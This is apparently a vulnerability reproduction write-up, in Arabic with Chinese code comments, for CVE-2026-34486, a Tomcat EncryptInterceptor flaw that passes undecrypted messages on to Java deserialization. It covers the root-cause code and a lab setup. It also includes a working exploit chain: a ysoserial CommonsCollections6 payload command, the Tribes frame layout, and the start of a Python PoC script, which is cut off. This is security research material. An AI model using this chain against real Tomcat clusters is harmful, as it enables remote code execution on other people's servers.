
CVE-2026-34486 Apache Tomcat EncryptInterceptor تجاوز الثغرة الأمنية وإعادة إنتاجها (تم إعادة إنتاجها باستخدام GLM5.1)
| الخاصية | التفاصيل |
|---|---|
| رقم CVE | CVE-2026-34486 |
| درجة الخطورة | Important / High (CVSS 3.1: 7.5) |
| نوع الثغرة | CWE-311 غياب تشفير البيانات الحساسة / CWE-807 تقييد المدخلات غير الموثوقة |
| الإصدارات المتأثرة | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| الإصدارات المُصلحة | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| السبب الجذري | نقل super.messageReceived(msg) في EncryptInterceptor.messageReceived() إلى خارج كتلة try-catch |
عند إصلاح CVE-2026-29146 (Padding Oracle)، أعاد المطورون هيكلة طريقة EncryptInterceptor.messageReceived()، حيث تم نقل super.messageReceived(msg) من داخل كتلة try إلى خارجها:
قبل الإصلاح (آمن):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**كود الثغرة (خطير):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
التحقق من البايت كود (من EncryptInterceptor.class في Tomcat 9.0.116):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## ثانيًا، بيئة إعادة الإنتاج
| المكوّن | الإصدار/الإعداد |
|---|---|
| نظام التشغيل | Ubuntu 22.04 (بيئة معزولة) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (الإصدار المعرّض للثغرة) |
| مكتبة Gadget | Commons Collections 3.1 |
| أداة الهجوم | ysoserial v0.0.6 + PoC مخصص بـ Python/Java |
### طوبولوجيا البيئة```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### الخطوة 2: تثبيت مكتبة Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
قم بتحرير tomcat-node1/conf/server.xml، وأضف داخل <Engine> ما يلي:```xml
> ملاحظة: يجب أن يكون `encryptionKey` بتنسيق سلسلة سداسية عشرية (مثل `546869734973415365637265744B6579` = "ThisIsASecretKey" بصيغة ASCII السداسية العشرية)، ولا يمكن أن يكون سلسلة نصية واضحة.
### الخطوة 4: تفعيل نسخ الجلسة
أضف ما يلي في `webapps/ROOT/WEB-INF/web.xml`:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**تأكيد سجل الإقلاع الفعلي:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### الخطوة 7: إنشاء وإرسال رسائل بروتوكول Tribes
تتطلب رسائل Tribes تنسيق تغليف إطارات XByteBuffer محددًا:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
حيث أن بنية حمولة ChannelData:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**المفتاح**: يتم وضع جسم الرسالة مباشرة في حمولة Java التسلسلية غير المشفرة، وهذا هو جوهر استغلال الثغرة — حيث يحاول EncryptInterceptor فك التشفير، وعند الفشل، لا يزال يمرر البايتات الأصلية إلى السلسلة اللاحقة.
#### الطريقة الأولى: سكربت PoC بلغة Python (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)